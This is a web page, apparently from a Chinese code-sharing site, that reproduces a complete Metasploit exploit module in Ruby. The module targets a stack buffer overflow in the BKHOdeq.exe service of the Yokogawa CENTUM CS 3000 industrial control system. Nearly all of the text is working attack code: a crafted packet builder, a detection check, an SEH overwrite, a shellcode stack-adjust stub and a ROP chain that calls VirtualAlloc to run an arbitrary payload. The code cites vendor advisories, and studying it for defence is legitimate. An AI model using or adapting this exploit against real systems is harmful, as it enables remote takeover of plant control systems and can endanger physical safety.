扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow', 'Description'=> %q{ This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability exists in the service BKHOdeq.exe when handling specially crafted packets. This module has been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows 2003 SP2. }, 'Author' => [ 'juan vazquez', 'Redsadic <julian.vilas[at]gmail.com>' ], 'References' => [ [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ] ], 'Payload'=> { 'Space' => 6000, 'DisableNops' => true, 'BadChars'=> ":\r\n" }, 'Platform' => 'win', 'Targets'=> [ [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]', { 'Ret'=> 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN 'Offset' => 8660, 'StackPivotAdjustment' => 108 } ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 10 }, 'DisclosureDate' => 'Mar 10 2014', 'DefaultTarget'=> 0)) register_options( [ # Required for EIP offset Opt::RPORT(20171) ], self.class) end def check # It forces an huge allocation, which should fail, # and return back an error answer from the server # while parsing the packet header. pkt = build_pkt(0xffffffff) res = send_pkt(pkt) if valid_response?(res) return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit my_payload = payload.encoded rop_chain = create_rop_chain data = rand_text(target['StackPivotAdjustment']) data << rop_chain data << stack_adjust data << my_payload data << rand_text(target['Offset'] - data.length) data << generate_seh_record(target.ret) pkt = build_pkt(data.length, data) print_status("Trying target #{target.name}, sending #{pkt.length} bytes...") connect sock.put(pkt) disconnect end def build_pkt(data_length, data = "") header = rand_text(4) # iMark header << [data_length].pack("N") # Data length header << rand_text(4)# NumSet header << rand_text(2)# req header << rand_text(2)# Unknown pkt = header + data pkt end def send_pkt(data) connect sock.put(data) res = sock.get_once disconnect res end def valid_response?(data) return false unless data return false unless data.length == 4 return false unless result_code(data) == 0 true end def result_code(data) data.unpack("N").first end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def create_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x63b27a60,# RET # padding on XP SP3 0x63b27a60,# RET # padding on XP SP3 0x63b27a5f,# POP EAX # RETN [libbkhMsg.dll] 0x61e761e0,# ptr to &VirtualAlloc() [IAT LibBKCCommon.dll] 0x61e641e4,# MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll] 0x00405522,# PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe] ].flatten.pack("V*") rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr rop_gadgets << [ 0x61e62aa4,# POP EBP # RETN [LibBKCCommon.dll] 0x61e648c0,# & push esp # ret[LibBKCCommon.dll] 0x66f3243f,# POP EBX # RETN [libBKBEqrp.dll] 0x00000001,# 0x00000001-> ebx 0x61e729dd,# POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll] 0x00001000,# 0x00001000-> edx 0x63a93f6f,# POP ECX # RETN [libbkhopx.dll] 0x00000040,# 0x00000040-> ecx 0x63ad1f6a,# POP EDI # RETN [libbkhOdeq.dll] 0x63dd3812,# RETN (ROP NOP) [libbkhCsSrch.dll] 0x61e60b4c,# POP EAX # RETN [LibBKCCommon.dll] 0x90909090,# nop 0x63ae5cc3,# PUSHAD # RETN [libbkhOdbh.dll] ].flatten.pack("V*") rop_gadgets end end |
体验盒子
